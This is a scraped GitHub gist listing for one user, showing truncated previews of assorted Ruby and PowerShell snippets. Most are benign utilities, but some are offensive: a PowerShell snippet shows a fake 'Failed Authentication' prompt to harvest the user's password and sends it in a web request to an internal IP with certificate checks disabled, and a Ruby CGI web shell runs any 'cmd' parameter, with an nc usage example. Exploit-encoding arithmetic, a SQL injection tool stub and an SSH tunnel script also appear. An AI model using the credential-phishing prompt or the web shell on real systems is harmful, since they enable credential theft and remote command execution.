Skip to content

Instantly share code, notes, and snippets.

View KINGSABRI's full-sized avatar
♠️

KING SABRI KINGSABRI

♠️
View GitHub Profile
class CircularList < Array
def index
@index ||=0
@index.abs
end
def current
@index ||= 0
get_at(@index)
end
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('https://172.16.102.163');
@KINGSABRI
KINGSABRI / ex.rb
Last active August 29, 2015 14:14
#!/usr/bin/env ruby
# echo "GET /cgi/shell.rb?cmd=ls%20-la" | nc localhost 80
require 'cgi'
cgi = CGI.new
puts cgi.header
system(cgi['cmd'])
# Find All sum of 3-values that if we subtract from 0x1035E8EA wil give us 0x1035FFB4
# 0x1035E8EA
# 0x55554d66 -
# 0x55554b66 -
# 0x5555506a -
# ------------
# 0x1035FFB4
CHARS =
[
@KINGSABRI
KINGSABRI / multi-auth -req.rb
Last active August 29, 2015 09:27
To do multiple HTTP authenticated requests
require "net/http"
# Login
uri = URI.parse("http://xx.xx.xx/Login.aspx")
http = Net::HTTP.new(uri.host, uri.port)
http.set_debug_output($stdout)
request_login = Net::HTTP::Post.new(uri.request_uri)
request_login["Accept-Language"] = "en-US,en;q=0.5"
@KINGSABRI
KINGSABRI / hisokaSQLiBrowser.rb
Created September 16, 2015 23:33
For Ibrahim
#!/usr/bin/env ruby
#
# KING SABRI
# Hisoka SQLi - For Ibrahim
#
require 'open-uri'
require 'uri'
if ARGV.size < 2
puts "[+] ruby #{__FILE__} <IP_ADDRESS> <PAYLOAD>"
@KINGSABRI
KINGSABRI / cursor.rb
Created September 21, 2015 00:49
Controlling Terminal Cursor in Ruby
class String
def mv_up(n=1)
cursor(self, "\033[#{n}A")
end
def mv_down(n=1)
cursor(self, "\033[#{n}B")
end
def mv_fw(n=1)
@KINGSABRI
KINGSABRI / Selenium Cheat Sheet.md
Created September 24, 2015 05:34 — forked from kenrett/Selenium Cheat Sheet.md
Selenium Cheat Sheet - Ruby

#Getting Started

##Webpage:

<html>
<head>
    <title>Testing with Ruby and Selenium WebDriver</title>
</head>
 
<body bgcolor="antiquewhite">
@KINGSABRI
KINGSABRI / ssh-fwtunnel.rb
Created October 7, 2015 12:42
ssh forward tunnel
#!/usr/bin/evn ruby
require 'net/ssh'
Net::SSH.start("127.0.0.1", 'fish', :password => 'fisheye', :verbose => :debug) do |ssh|
# Forward connections coming on port 3333 to port 3389 of attacker.zone
ssh.forward.local('0.0.0.0', 3333, "172.16.16.136", 80)
puts "[+] Starting SSH port forward tunnel"
ssh.loop { true }
end
@KINGSABRI
KINGSABRI / java_ruby_unsigned_int_to_hex.rb
Created March 29, 2016 16:40 — forked from vishaltelangre/java_ruby_unsigned_int_to_hex.rb
ruby converting an unsigned int to hexadecimal (java-like implementation)
# In Java, the following expression
# Integer.toHexString(1286933134)
# produces:
# "4cb50a8e"
# and
# Integer.toHexString(-1286933134)
# produces:
# "b34af572"
# ref doc: http://docs.oracle.com/javase/7/docs/api/java/lang/Integer.html#toHexString(int)